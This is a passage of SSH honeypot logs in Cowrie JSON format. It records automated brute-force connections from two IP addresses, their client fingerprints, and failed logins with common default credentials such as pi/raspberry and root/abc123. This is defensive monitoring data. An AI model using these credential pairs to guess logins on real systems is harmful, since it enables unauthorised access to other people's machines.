openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:16.503006Z","src_ip":"5.196.136.131","session":"2010ddea98aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:16.730392Z","src_ip":"5.196.136.131","session":"2010ddea98aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:17.809235Z","src_ip":"5.196.136.131","session":"2010ddea98aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24882,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb15b36b01ed","protocol":"ssh","message":"New connection: 5.196.136.131:24882 (10.17.0.5:22) [session: cb15b36b01ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:20.763120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:20.767246Z","src_ip":"5.196.136.131","session":"cb15b36b01ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:20.846367Z","src_ip":"5.196.136.131","session":"cb15b36b01ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:21.087321Z","src_ip":"5.196.136.131","session":"cb15b36b01ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:22.168530Z","src_ip":"5.196.136.131","session":"cb15b36b01ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.224.230","src_port":4504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0ac5676d7b","protocol":"ssh","message":"New connection: 202.29.224.230:4504 (10.17.0.5:22) [session: ec0ac5676d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:22.673395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:22.677131Z","src_ip":"202.29.224.230","session":"ec0ac5676d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:22.923574Z","src_ip":"202.29.224.230","session":"ec0ac5676d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020@1","message":"login attempt [root/unitedstates2020@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:23.663136Z","src_ip":"202.29.224.230","session":"ec0ac5676d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:24.908730Z","src_ip":"202.29.224.230","session":"ec0ac5676d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3ea4dc8c089","protocol":"ssh","message":"New connection: 5.196.136.131:60550 (10.17.0.5:22) [session: b3ea4dc8c089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:25.246774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:25.255798Z","src_ip":"5.196.136.131","session":"b3ea4dc8c089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:25.336454Z","src_ip":"5.196.136.131","session":"b3ea4dc8c089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:25.622194Z","src_ip":"5.196.136.131","session":"b3ea4dc8c089","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:26.700848Z","src_ip":"5.196.136.131","session":"b3ea4dc8c089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31208,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e838048d3eb","protocol":"ssh","message":"New connection: 5.196.136.131:31208 (10.17.0.5:22) [session: 8e838048d3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:29.647344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:29.651249Z","src_ip":"5.196.136.131","session":"8e838048d3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:29.733432Z","src_ip":"5.196.136.131","session":"8e838048d3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:29.970808Z","src_ip":"5.196.136.131","session":"8e838048d3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:31.052559Z","src_ip":"5.196.136.131","session":"8e838048d3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42546,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5e9c195cb94","protocol":"ssh","message":"New connection: 5.196.136.131:42546 (10.17.0.5:22) [session: e5e9c195cb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:34.065126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:34.069475Z","src_ip":"5.196.136.131","session":"e5e9c195cb94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:34.158043Z","src_ip":"5.196.136.131","session":"e5e9c195cb94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:34.419995Z","src_ip":"5.196.136.131","session":"e5e9c195cb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:35.509203Z","src_ip":"5.196.136.131","session":"e5e9c195cb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":28185,"dst_ip":"10.17.0.5","dst_port":22,"session":"1420b5362f5a","protocol":"ssh","message":"New connection: 5.196.136.131:28185 (10.17.0.5:22) [session: 1420b5362f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:38.510209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:38.517070Z","src_ip":"5.196.136.131","session":"1420b5362f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:38.593171Z","src_ip":"5.196.136.131","session":"1420b5362f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:38.850397Z","src_ip":"5.196.136.131","session":"1420b5362f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:39.928893Z","src_ip":"5.196.136.131","session":"1420b5362f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35545,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7dfae90615b","protocol":"ssh","message":"New connection: 5.196.136.131:35545 (10.17.0.5:22) [session: a7dfae90615b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:42.948352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:42.952379Z","src_ip":"5.196.136.131","session":"a7dfae90615b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:43.029557Z","src_ip":"5.196.136.131","session":"a7dfae90615b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:43.262337Z","src_ip":"5.196.136.131","session":"a7dfae90615b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:44.342876Z","src_ip":"5.196.136.131","session":"a7dfae90615b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":55217,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a9f97b191e4","protocol":"ssh","message":"New connection: 5.196.136.131:55217 (10.17.0.5:22) [session: 4a9f97b191e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:47.354678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:47.363786Z","src_ip":"5.196.136.131","session":"4a9f97b191e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:47.438939Z","src_ip":"5.196.136.131","session":"4a9f97b191e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:47.664102Z","src_ip":"5.196.136.131","session":"4a9f97b191e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:48.742120Z","src_ip":"5.196.136.131","session":"4a9f97b191e4","protocol":"ssh"}
